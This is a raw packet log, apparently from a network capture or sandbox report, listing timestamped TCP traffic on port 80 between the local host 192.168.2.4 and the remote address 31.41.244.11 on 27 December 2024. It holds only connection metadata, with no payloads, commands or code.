Dec 27, 2024 08:46:29.595237017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.595268011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.599865913 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.599932909 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.599945068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.599987984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.604656935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.604726076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.604742050 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.604780912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.609318972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.609385967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.609410048 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.609458923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.614048004 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.614116907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.614126921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.614166021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.618782997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.618841887 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.618875027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.618915081 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.623543978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.623594046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.623630047 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.623653889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.628223896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.628283978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.731920004 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.732027054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.732064009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.732139111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.733746052 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.733795881 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.733840942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.733891010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.737571955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.737601042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.737754107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.741394997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.741455078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.741456985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.741499901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.745045900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.745110989 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.745157957 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.745208025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.748744011 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.748799086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.748836040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.748876095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.752345085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.752404928 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.752428055 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.752507925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.755865097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.755933046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.755973101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.756020069 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.759329081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.759399891 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.759496927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.759496927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.762813091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.762876034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.762926102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.763001919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.766278028 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.766349077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.766391039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.766433954 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.769795895 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.769862890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.769911051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.769949913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.773400068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.773452044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.773461103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.773533106 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.776736975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.776813984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.776873112 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.776920080 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.780260086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.780337095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.780359030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.780400991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.783792019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.783859968 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.783917904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.783993006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.787272930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.787331104 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.787368059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.787408113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.790745974 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.790800095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.790847063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.790885925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.794282913 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.794343948 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.794357061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.794394970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.797704935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.797760010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.797815084 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.797857046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.801197052 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.801250935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.801251888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.801301003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.804718971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.804768085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.804799080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.804868937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.808355093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.808408976 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.808459997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.808497906 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.811721087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.811789989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.811817884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.811841965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.815181971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.815237045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.815279961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.815346003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.818633080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.818681002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.818744898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.818784952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.822122097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.822168112 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.822247982 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.822289944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.825634003 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.825684071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.825727940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.825793028 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.829087973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.829143047 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.829196930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.829236031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.832577944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.832627058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.832678080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.832717896 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.836077929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.836131096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.933501959 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.933525085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.933604956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.933646917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.934693098 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.934726954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.934772015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.934793949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.937499046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.937562943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.937628984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.937676907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.940326929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.940377951 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.940459967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.940502882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.942677975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.942725897 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.942799091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.942838907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.945324898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.945379019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.945409060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.945446014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.947906971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.947959900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.948012114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.948220015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.950397968 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.950457096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.950546980 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.950587988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.952883959 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.952936888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.952985048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.953027010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.955357075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.955406904 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.955442905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.955481052 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.957746983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.957808018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.957854033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.957896948 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.960134029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.960175991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.960191011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.960205078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.962529898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.962584019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.962616920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.962655067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.964943886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.964998960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.965018988 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.965064049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.967348099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.967407942 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.967413902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.967454910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.969681978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.969727993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.969769001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.969806910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.972095013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.972141027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.972162008 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.972201109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.974458933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.974519968 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.974555016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.974596024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.976850033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.976900101 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.976927996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.976968050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.979242086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.979293108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.979309082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.979342937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.981618881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.981678009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.981705904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.981744051 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.984010935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.984057903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.984087944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.984124899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.986390114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.986442089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.986479044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.986519098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.988800049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.988850117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.988864899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.988905907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.991120100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.991163969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.991225004 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.991276979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.993532896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.993582010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.993613958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.993649006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.995980978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.996028900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.996068954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.996114016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.998301029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.998349905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:29.998441935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:29.998485088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.000721931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.000778913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.000900984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.000941992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.003114939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.003171921 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.003176928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.003213882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.005455971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.005489111 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.005506039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.005522013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.007909060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.007941961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.007960081 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.007977962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.010313034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.010370970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.010423899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.010462046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.012628078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.012676001 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.012695074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.012741089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.015002012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.015042067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.015098095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.015130043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.017376900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.017430067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.017474890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.017512083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.019788027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.019836903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.019890070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.019936085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.022135973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.022198915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.022231102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.022265911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.024534941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.024643898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.024646997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.024682999 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.026922941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.026978016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.026998043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.027020931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.029293060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.029337883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.029429913 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.029464960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.031721115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.031770945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.031804085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.031840086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.034094095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.034138918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.034172058 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.034210920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.036468029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.036511898 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.036628962 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.036669970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.038813114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.038876057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.038917065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.038952112 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.041222095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.041305065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.041337013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.041722059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.043632984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.043674946 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.043725967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.043761969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.045994997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.046041965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.046091080 CET	80	49839	31.41.244.11	192.168.2.4
